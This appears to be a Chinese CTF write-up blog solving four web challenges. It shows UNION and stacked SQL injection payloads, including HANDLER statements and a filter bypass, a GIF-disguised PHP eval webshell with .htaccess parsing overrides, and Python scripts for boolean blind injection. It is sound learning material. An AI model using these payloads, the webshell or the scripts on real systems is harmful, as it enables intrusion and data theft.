[GXYCTF2019]BabySQli
题目环境:
一个简单的登录框
简单试下万能密码:
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
do not hack me!
do not hack me!
其中注释符尝试base32–>base64
知识点
base32与base64编码的特点:
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
得到:
select * from user where username = '$name'
解题思路:
尝试随便输个用户
尝试amdin
回显:
wrong pass!
用户名为admin,随后尝试order by查询字段数:
name=admin%27 order by 4%23&pw=asdas
回显:
do not hack me!
,被过滤啦,尝试大小写绕过。成功
name=admin%27 Order by 4%23&pw=asdas
回显:
Error: Unknown column '4' in 'order clause'
继续:
name=admin%27 Order by 3%23&pw=asdas
回显:wrong pass!
知识点:
利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
- 我们猜测字段是id,username,passwd。
- 但是不知道三个的顺序是怎么样的,进行试探
如果输入是
'admin',1,1#
,报错wrong user。输入变为1,‘admin’,1时,就报wrong pass,证明admin的位置对了,id跟passwd的位置先随便试吧。
已知123的md5值是202cb962ac59075b964b07152d234b70。
Payload:
name=1' union select 1,%27admin%27,%27c81e728d9d4c2f636f067f89cc14862c%27#&pw=2
c81e728d9d4c2f636f067f89cc14862c
为2的MD5加密后 32位小写值
得到flag
总结:
联合查询并不存在数据,并构造一个虚拟的数据后,将咱们构造的MD5加密后的pw位的值以及参数pw值相等,后台检验时检验的就是我们构造的值
理解:
- 我们构造了一个临时虚拟的admin用户(包括id、name、pw),而在我们登入admin时,只要admin对应的pw值存在,即验证成功登入
- 但是这里是直接认定passwd的加密方式为MD5,应该还要猜测一下sqli的数据加密方式的
参考:
[mysql基础-密码的加密方式](https://www.cnblogs.com/phantom0308/articles/7295418.html#:~:text=1、第一种加密方式,password ()函数,使用MySQLSHA1(安全Hash算法)进行加密,mysql一般的加密方式是password (‘root’)将root在数据库客户端以40位字符串显示出来。 这个40位字符串是来自于mysql的密码库。)
[ GXYCTF2019]BabySQli_imbia的博客
[GYCTF2020]Blacklist
题目环境:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jMocyDD4-1660793756876)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206302006989.png)]
解题思路:
?inject=1
输入1、2都有回显,3无回显
注入点判断:
?inject=1'
回显:
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
证明存在注入点
判断列数:
?inject=1' order by 3;
回显:
error 1054 : Unknown column '3' in 'order clause'
?inject=1' order by 2;
array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" }
存在两列
联合查询
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
过滤了很多
尝试堆叠注入:
查库
?inject=0' ;show databases;
回显:(?inject=0时一般没有回显,排除1的影响)
array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
查表
?inject=0' ;show tables;
?inject=0' ;show columns from FlagHere;
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
如果select不被过滤可以直接使用
-
0';select flag from
FlagHere;#
-
似乎/**/可以绕过检查
0';sel/**/ect flag from FlagHere;#
但是竟然什么都没有
知识补充:
MYSQL查询语句HANDLER
来自大神
- HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
例子
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
newPayload
?inject=0' ;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
得到flag
array(1) { [0]=> string(42) "flag{c521debe-5ee5-4760-b772-a1897af017ca}" }
总结
sql注入点判断
列数判断
/**/过滤绕过
堆叠注入
- show语句
- HANDLER 语句
参考:
[GXYCTF2019]BabyUpload
题目环境:
解题思路:
上传.php、.png都不被允许
尝试上传.jpg的图片马
仿照之前的题在图片马中添加前缀
GIF89a
GIF89a <script language="php">eval($_POST['shell']);</script>
回显:
/var/www/html/upload/dd844430892836bcb29494123bd6eb64/gif.jpg succesfully uploaded!
咱们访问下这个这个图片马
post传参:
shell=System('cat flag');
访问路径看报错回显
Apache服务器存在的
.htaccess
文件上传漏洞
法一:
传一个.htaccess文件, 其实现功能为:当前目录下所有 名称为gif
的文件都以 php 进行解析
.htaccess
<FilesMatch "gif">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess文件还可以写成这样:(表示所有jpg文件以php进行解析)
AddType application/x-httpd-php .jpg
传图片马
Content-Disposition: form-data; name="uploaded"; filename="gif"
Content-Type: image/jpeg
GIF89a
-
回显:
-
/var/www/html/upload/dd844430892836bcb29494123bd6eb64/gif succesfully uploaded!
蚁剑连接
http://36e47c1a-1bf2-40a6-aea0-b108ea16e869.node4.buuoj.cn:81/upload/dd844430892836bcb29494123bd6eb64/gif
flag{f50d1701-68e0-4579-870d-f8380533b388}
法二:
show_source() 函数
定义和用法
show_source() 函数对文件进行语法高亮显示。
语法
show_source(filename,return)
本函数是 highlight_file() 的别名。- filename 必需。要进行高亮处理的 PHP 文件的路径。
- return 可选。如果设置 true,则本函数返回高亮处理的代码。
返回值
如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。
payload
post:
shell=show_source('/flag');
得到flag
得到flag:
GIF89a
flag{f50d1701-68e0-4579-870d-f8380533b388}``
法三
OR(先传图片马
.haccess
文件中添加图片路径)AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-encode/resource=/var/www/html/upload/0f4660deabeda9e10f30bd4384fb0330/gif.jpg"
php://filter/convert.base64-encode/resource= 表示读取文件
传完
.haccess
后post:
shell=echo file_get_contents('/flag');
如果不需要所有页面都在顶部或底部require文件,可以指定某一个文件夹内的页面文件才调用auto_prepend_file与auto_append_file
在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:php_value auto_prepend_file "/home/fdipzone/header.php" php_value auto_append_file "/home/fdipzone/footer.php"
这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php 与 /home/fdipzone/footer.php,其他页面文件不受影响。
使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。
总结
GIF89a图片头欺骗
一句话木马绕过<?
apche服务器文件上传漏洞
.haccess
php_value auto_prepend_file
:PHP文件引入用法
参考:
[GXYCTF2019]BabyUpload 题解_偷一个月亮的博客
PHP中auto_prepend_file与auto_append_file用法实例分析
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目环境:
- 这里是以post传参
id
id为1,2时,可以分别得到一句话。id为0时,显示error,可能是因为结果为空集。
id=1
Hello, glzjin wants a girlfriend.
id=2
Do you want to be my girlfriend?
-
id提交为单引号返回
(bool)false
-
填入空格会直接显示SQL Injection Checked。
-
说明id处有过滤
- 尝试用
Tab
代替空格,发现可以(还可以用()
将语句包裹,绕过过滤)
接下来根据题目中的提示构造payload:
union select flag from flag
被过滤了,直接输入一个
union
也会被过滤
这说明union也被过滤了。最后测试发现select和from,括号没有被过滤可以考虑使用函数。
dalao分享的题目源码
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
解题思路:
用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。
比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1
sql的三目运算:
if( 表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3
sql的ascii(str) 函数:
其执行方式:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
exp
import requests
import time
url = "http://web43.node1.buuoj.cn/index.php"
data = {"id":""}
flag = 'flag{'
length = 5
while True:
#直接从数字开始猜
for i in range(48,127):
#复现平台有waf,一秒只能访问一次
time.sleep(1)
#绕过一些过滤字符
if i in [38,42,43,45,59,96]:
continue
data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i))
r = requests.post(url,data=data)
#返回1
if 'Hello' in r.text:
flag+=chr(i)
length+=1
print(flag)
break
if flag[-1]=='}':
break
折叠
这个脚本有点慢,毕竟一个个的猜。如果想快一点,猜的时候可以考虑每次猜一个字符,使用二分法。
下面这段代码稍微改了一下判断的规则,判断ascii码。这样做的好处是如果遇到过滤字符也能得到结果,如果按照最初始的版本,假设flag中包含-,那就gg了。
import requests
#url是随时更新的,具体的以做题时候的为准
#有时候太快了状态码是429,发现数据异常可以多跑两遍
url = 'http://c0f13472-2391-4772-adfa-291d7bcf25d0.node3.buuoj.cn/'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
折叠
最后得到了flag。
总结:
这道题说实话还不太会,脚本是写不出来哒
- 当页面返回值为bool型(无sql报错语句)时,可能是布尔盲注
()
没有被过滤时可以考虑使用函数构造注入- 空格过滤可尝试
Tab
或()
绕过